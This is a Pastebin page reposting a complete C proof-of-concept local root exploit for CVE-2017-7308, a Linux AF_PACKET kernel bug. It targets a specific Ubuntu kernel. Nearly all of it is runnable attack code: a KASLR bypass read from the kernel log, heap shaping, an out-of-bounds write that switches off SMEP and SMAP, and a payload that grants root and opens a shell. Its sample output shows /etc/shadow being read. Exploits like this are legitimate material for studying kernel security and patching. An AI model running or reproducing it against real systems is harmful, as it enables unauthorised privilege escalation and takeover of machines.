Advertisement
AZZATSSINS_CYBERSERK

CVE 2017-7308

Sep 4th, 2017
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 13.09 KB | None | 0 0
  1. // A proof-of-concept local root exploit for CVE-2017-7308.
  2. // Includes a SMEP & SMAP bypass.
  3. // Tested on 4.8.0-41-generic Ubuntu kernel.
  4. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
  5. //
  6. // Usage:
  7. // user@ubuntu:~$ uname -a
  8. // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
  9. // user@ubuntu:~$ gcc pwn.c -o pwn
  10. // user@ubuntu:~$ ./pwn
  11. // [.] starting
  12. // [.] namespace sandbox set up
  13. // [.] KASLR bypass enabled, getting kernel addr
  14. // [.] done, kernel text:   ffffffff87000000
  15. // [.] commit_creds:        ffffffff870a5cf0
  16. // [.] prepare_kernel_cred: ffffffff870a60e0
  17. // [.] native_write_cr4:    ffffffff87064210
  18. // [.] padding heap
  19. // [.] done, heap is padded
  20. // [.] SMEP & SMAP bypass enabled, turning them off
  21. // [.] done, SMEP & SMAP should be off now
  22. // [.] executing get root payload 0x401516
  23. // [.] done, should be root now
  24. // [.] checking if we got root
  25. // [+] got r00t ^_^
  26. // root@ubuntu:/home/user# cat /etc/shadow
  27. // root:!:17246:0:99999:7:::
  28. // daemon:*:17212:0:99999:7:::
  29. // bin:*:17212:0:99999:7:::
  30. // ...
  31. //
  32. // Andrey Konovalov <andreyknvl@gmail.com>
  33.  
  34. #define _GNU_SOURCE
  35.  
  36. #include <errno.h>
  37. #include <fcntl.h>
  38. #include <stdarg.h>
  39. #include <stdbool.h>
  40. #include <stddef.h>
  41. #include <stdint.h>
  42. #include <stdio.h>
  43. #include <stdlib.h>
  44. #include <string.h>
  45. #include <unistd.h>
  46. #include <sched.h>
  47.  
  48. #include <sys/ioctl.h>
  49. #include <sys/klog.h>
  50. #include <sys/mman.h>
  51. #include <sys/socket.h>
  52. #include <sys/syscall.h>
  53. #include <sys/types.h>
  54. #include <sys/wait.h>
  55.  
  56. #include <arpa/inet.h>
  57. #include <linux/if_packet.h>
  58. #include <linux/ip.h>
  59. #include <linux/udp.h>
  60. #include <netinet/if_ether.h>
  61. #include <net/if.h>
  62.  
  63. #define ENABLE_KASLR_BYPASS 1
  64. #define ENABLE_SMEP_SMAP_BYPASS 1
  65.  
  66. // Will be overwritten if ENABLE_KASLR_BYPASS
  67. unsigned long KERNEL_BASE =     0xffffffff81000000ul;
  68.  
  69. // Kernel symbol offsets
  70. #define COMMIT_CREDS        0xa5cf0ul
  71. #define PREPARE_KERNEL_CRED 0xa60e0ul
  72. #define NATIVE_WRITE_CR4    0x64210ul
  73.  
  74. // Should have SMEP and SMAP bits disabled
  75. #define CR4_DESIRED_VALUE   0x407f0ul
  76.  
  77. #define KMALLOC_PAD     512
  78. #define PAGEALLOC_PAD       1024
  79.  
  80. // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
  81.  
  82. typedef uint32_t u32;
  83.  
  84. // $ pahole -C hlist_node ./vmlinux
  85. struct hlist_node {
  86.     struct hlist_node *        next;                 /*     0     8 */
  87.     struct hlist_node * *      pprev;                /*     8     8 */
  88. };
  89.  
  90. // $ pahole -C timer_list ./vmlinux
  91. struct timer_list {
  92.     struct hlist_node          entry;                /*     0    16 */
  93.     long unsigned int          expires;              /*    16     8 */
  94.     void                       (*function)(long unsigned int); /*    24     8 */
  95.     long unsigned int          data;                 /*    32     8 */
  96.     u32                        flags;                /*    40     4 */
  97.     int                        start_pid;            /*    44     4 */
  98.     void *                     start_site;           /*    48     8 */
  99.     char                       start_comm[16];       /*    56    16 */
  100. };
  101.  
  102. // packet_sock->rx_ring->prb_bdqc->retire_blk_timer
  103. #define TIMER_OFFSET    896
  104.  
  105. // pakcet_sock->xmit
  106. #define XMIT_OFFSET 1304
  107.  
  108. // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
  109.  
  110. void packet_socket_rx_ring_init(int s, unsigned int block_size,
  111.         unsigned int frame_size, unsigned int block_nr,
  112.         unsigned int sizeof_priv, unsigned int timeout) {
  113.     int v = TPACKET_V3;
  114.     int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
  115.     if (rv < 0) {
  116.         perror("[-] setsockopt(PACKET_VERSION)");
  117.         exit(EXIT_FAILURE);
  118.     }
  119.  
  120.     struct tpacket_req3 req;
  121.     memset(&req, 0, sizeof(req));
  122.     req.tp_block_size = block_size;
  123.     req.tp_frame_size = frame_size;
  124.     req.tp_block_nr = block_nr;
  125.     req.tp_frame_nr = (block_size * block_nr) / frame_size;
  126.     req.tp_retire_blk_tov = timeout;
  127.     req.tp_sizeof_priv = sizeof_priv;
  128.     req.tp_feature_req_word = 0;
  129.  
  130.     rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
  131.     if (rv < 0) {
  132.         perror("[-] setsockopt(PACKET_RX_RING)");
  133.         exit(EXIT_FAILURE);
  134.     }
  135. }
  136.  
  137. int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
  138.         unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
  139.     int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  140.     if (s < 0) {
  141.         perror("[-] socket(AF_PACKET)");
  142.         exit(EXIT_FAILURE);
  143.     }
  144.  
  145.     packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
  146.         sizeof_priv, timeout);
  147.  
  148.     struct sockaddr_ll sa;
  149.     memset(&sa, 0, sizeof(sa));
  150.     sa.sll_family = PF_PACKET;
  151.     sa.sll_protocol = htons(ETH_P_ALL);
  152.     sa.sll_ifindex = if_nametoindex("lo");
  153.     sa.sll_hatype = 0;
  154.     sa.sll_pkttype = 0;
  155.     sa.sll_halen = 0;
  156.  
  157.     int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
  158.     if (rv < 0) {
  159.         perror("[-] bind(AF_PACKET)");
  160.         exit(EXIT_FAILURE);
  161.     }
  162.  
  163.     return s;
  164. }
  165.  
  166. void packet_socket_send(int s, char *buffer, int size) {
  167.     struct sockaddr_ll sa;
  168.     memset(&sa, 0, sizeof(sa));
  169.     sa.sll_ifindex = if_nametoindex("lo");
  170.     sa.sll_halen = ETH_ALEN;
  171.  
  172.     if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
  173.             sizeof(sa)) < 0) {
  174.         perror("[-] sendto(SOCK_RAW)");
  175.         exit(EXIT_FAILURE);
  176.     }
  177. }
  178.  
  179. void loopback_send(char *buffer, int size) {
  180.     int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
  181.     if (s == -1) {
  182.         perror("[-] socket(SOCK_RAW)");
  183.         exit(EXIT_FAILURE);
  184.     }
  185.  
  186.     packet_socket_send(s, buffer, size);
  187. }
  188.  
  189. int packet_sock_kmalloc() {
  190.     int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
  191.     if (s == -1) {
  192.         perror("[-] socket(SOCK_DGRAM)");
  193.         exit(EXIT_FAILURE);
  194.     }
  195.     return s;
  196. }
  197.  
  198. void packet_sock_timer_schedule(int s, int timeout) {
  199.     packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
  200. }
  201.  
  202. void packet_sock_id_match_trigger(int s) {
  203.     char buffer[16];
  204.     packet_socket_send(s, &buffer[0], sizeof(buffer));
  205. }
  206.  
  207. // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
  208.  
  209. #define ALIGN(x, a)         __ALIGN_KERNEL((x), (a))
  210. #define __ALIGN_KERNEL(x, a)        __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
  211. #define __ALIGN_KERNEL_MASK(x, mask)    (((x) + (mask)) & ~(mask))
  212.  
  213. #define V3_ALIGNMENT    (8)
  214. #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
  215.  
  216. #define ETH_HDR_LEN sizeof(struct ethhdr)
  217. #define IP_HDR_LEN  sizeof(struct iphdr)
  218. #define UDP_HDR_LEN sizeof(struct udphdr)
  219.  
  220. #define UDP_HDR_LEN_FULL    (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
  221.  
  222. int oob_setup(int offset) {
  223.     unsigned int maclen = ETH_HDR_LEN;
  224.     unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
  225.                 (maclen < 16 ? 16 : maclen));
  226.     unsigned int macoff = netoff - maclen;
  227.     unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
  228.         0x8000 - BLK_HDR_LEN - macoff + offset;
  229.     return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
  230. }
  231.  
  232. void oob_write(char *buffer, int size) {
  233.     loopback_send(buffer, size);
  234. }
  235.  
  236. void oob_timer_execute(void *func, unsigned long arg) {
  237.     oob_setup(2048 + TIMER_OFFSET - 8);
  238.  
  239.     int i;
  240.     for (i = 0; i < 32; i++) {
  241.         int timer = packet_sock_kmalloc();
  242.         packet_sock_timer_schedule(timer, 1000);
  243.     }
  244.  
  245.     char buffer[2048];
  246.     memset(&buffer[0], 0, sizeof(buffer));
  247.  
  248.     struct timer_list *timer = (struct timer_list *)&buffer[8];
  249.     timer->function = func;
  250.     timer->data = arg;
  251.     timer->flags = 1;
  252.  
  253.     oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
  254.  
  255.     sleep(1);
  256. }
  257.  
  258. void oob_id_match_execute(void *func) {
  259.     int s = oob_setup(2048 + XMIT_OFFSET - 64);
  260.  
  261.     int ps[32];
  262.  
  263.     int i;
  264.     for (i = 0; i < 32; i++)
  265.         ps[i] = packet_sock_kmalloc();
  266.  
  267.     char buffer[2048];
  268.     memset(&buffer[0], 0, 2048);
  269.  
  270.     void **xmit = (void **)&buffer[64];
  271.     *xmit = func;
  272.  
  273.     oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
  274.  
  275.     for (i = 0; i < 32; i++)
  276.         packet_sock_id_match_trigger(ps[i]);
  277. }
  278.  
  279. // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
  280.  
  281. void kmalloc_pad(int count) {
  282.     int i;
  283.     for (i = 0; i < count; i++)
  284.         packet_sock_kmalloc();
  285. }
  286.  
  287. void pagealloc_pad(int count) {
  288.     packet_socket_setup(0x8000, 2048, count, 0, 100);
  289. }
  290.  
  291. // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
  292.  
  293. typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  294. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  295.  
  296. void get_root_payload(void) {
  297.     ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
  298.         ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
  299.     );
  300. }
  301.  
  302. // * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *
  303.  
  304. #define SYSLOG_ACTION_READ_ALL 3
  305. #define SYSLOG_ACTION_SIZE_BUFFER 10
  306.  
  307. unsigned long get_kernel_addr() {
  308.     int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
  309.     if (size == -1) {
  310.         perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
  311.         exit(EXIT_FAILURE);
  312.     }
  313.  
  314.     size = (size / getpagesize() + 1) * getpagesize();
  315.     char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
  316.         MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  317.  
  318.     size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
  319.     if (size == -1) {
  320.         perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
  321.         exit(EXIT_FAILURE);
  322.     }
  323.  
  324.     const char *needle1 = "Freeing SMP";
  325.     char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
  326.     if (substr == NULL) {
  327.         fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
  328.         exit(EXIT_FAILURE);
  329.     }
  330.  
  331.     for (size = 0; substr[size] != '\n'; size++);
  332.  
  333.     const char *needle2 = "ffff";
  334.     substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
  335.     if (substr == NULL) {
  336.         fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
  337.         exit(EXIT_FAILURE);
  338.     }
  339.  
  340.     char *endptr = &substr[16];
  341.     unsigned long r = strtoul(&substr[0], &endptr, 16);
  342.  
  343.     r &= 0xfffffffffff00000ul;
  344.     r -= 0x1000000ul;
  345.  
  346.     return r;
  347. }
  348.  
  349. // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
  350.  
  351. void exec_shell() {
  352.     char *shell = "/bin/bash";
  353.     char *args[] = {shell, "-i", NULL};
  354.     execve(shell, args, NULL);
  355. }
  356.  
  357. void fork_shell() {
  358.     pid_t rv;
  359.  
  360.     rv = fork();
  361.     if (rv == -1) {
  362.         perror("[-] fork()");
  363.         exit(EXIT_FAILURE);
  364.     }
  365.  
  366.     if (rv == 0) {
  367.         exec_shell();
  368.     }
  369. }
  370.  
  371. bool is_root() {
  372.     // We can't simple check uid, since we're running inside a namespace
  373.     // with uid set to 0. Try opening /etc/shadow instead.
  374.     int fd = open("/etc/shadow", O_RDONLY);
  375.     if (fd == -1)
  376.         return false;
  377.     close(fd);
  378.     return true;
  379. }
  380.  
  381. void check_root() {
  382.     printf("[.] checking if we got root\n");
  383.  
  384.     if (!is_root()) {
  385.         printf("[-] something went wrong =(\n");
  386.         return;
  387.     }
  388.  
  389.     printf("[+] got r00t ^_^\n");
  390.  
  391.     // Fork and exec instead of just doing the exec to avoid potential
  392.     // memory corruptions when closing packet sockets.
  393.     fork_shell();
  394. }
  395.  
  396. bool write_file(const char* file, const char* what, ...) {
  397.     char buf[1024];
  398.     va_list args;
  399.     va_start(args, what);
  400.     vsnprintf(buf, sizeof(buf), what, args);
  401.     va_end(args);
  402.     buf[sizeof(buf) - 1] = 0;
  403.     int len = strlen(buf);
  404.  
  405.     int fd = open(file, O_WRONLY | O_CLOEXEC);
  406.     if (fd == -1)
  407.         return false;
  408.     if (write(fd, buf, len) != len) {
  409.         close(fd);
  410.         return false;
  411.     }
  412.     close(fd);
  413.     return true;
  414. }
  415.  
  416. void setup_sandbox() {
  417.     int real_uid = getuid();
  418.     int real_gid = getgid();
  419.  
  420.         if (unshare(CLONE_NEWUSER) != 0) {
  421.         perror("[-] unshare(CLONE_NEWUSER)");
  422.         exit(EXIT_FAILURE);
  423.     }
  424.  
  425.         if (unshare(CLONE_NEWNET) != 0) {
  426.         perror("[-] unshare(CLONE_NEWUSER)");
  427.         exit(EXIT_FAILURE);
  428.     }
  429.  
  430.     if (!write_file("/proc/self/setgroups", "deny")) {
  431.         perror("[-] write_file(/proc/self/set_groups)");
  432.         exit(EXIT_FAILURE);
  433.     }
  434.     if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
  435.         perror("[-] write_file(/proc/self/uid_map)");
  436.         exit(EXIT_FAILURE);
  437.     }
  438.     if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
  439.         perror("[-] write_file(/proc/self/gid_map)");
  440.         exit(EXIT_FAILURE);
  441.     }
  442.  
  443.     cpu_set_t my_set;
  444.     CPU_ZERO(&my_set);
  445.     CPU_SET(0, &my_set);
  446.     if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
  447.         perror("[-] sched_setaffinity()");
  448.         exit(EXIT_FAILURE);
  449.     }
  450.  
  451.     if (system("/sbin/ifconfig lo up") != 0) {
  452.         perror("[-] system(/sbin/ifconfig lo up)");
  453.         exit(EXIT_FAILURE);
  454.     }
  455. }
  456.  
  457. int main() {
  458.     printf("[.] starting\n");
  459.  
  460.     setup_sandbox();
  461.  
  462.     printf("[.] namespace sandbox set up\n");
  463.  
  464. #if ENABLE_KASLR_BYPASS
  465.     printf("[.] KASLR bypass enabled, getting kernel addr\n");
  466.     KERNEL_BASE = get_kernel_addr();
  467.     printf("[.] done, kernel text:   %lx\n", KERNEL_BASE);
  468. #endif
  469.  
  470.     printf("[.] commit_creds:        %lx\n", KERNEL_BASE + COMMIT_CREDS);
  471.     printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);
  472.  
  473. #if ENABLE_SMEP_SMAP_BYPASS
  474.     printf("[.] native_write_cr4:    %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
  475. #endif
  476.  
  477.     printf("[.] padding heap\n");
  478.     kmalloc_pad(KMALLOC_PAD);
  479.     pagealloc_pad(PAGEALLOC_PAD);
  480.     printf("[.] done, heap is padded\n");
  481.  
  482. #if ENABLE_SMEP_SMAP_BYPASS
  483.     printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
  484.     oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
  485.     printf("[.] done, SMEP & SMAP should be off now\n");
  486. #endif
  487.  
  488.     printf("[.] executing get root payload %p\n", &get_root_payload);
  489.     oob_id_match_execute((void *)&get_root_payload);
  490.     printf("[.] done, should be root now\n");
  491.  
  492.     check_root();
  493.  
  494.     while (1) sleep(1000);
  495.  
  496.     return 0;
  497. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement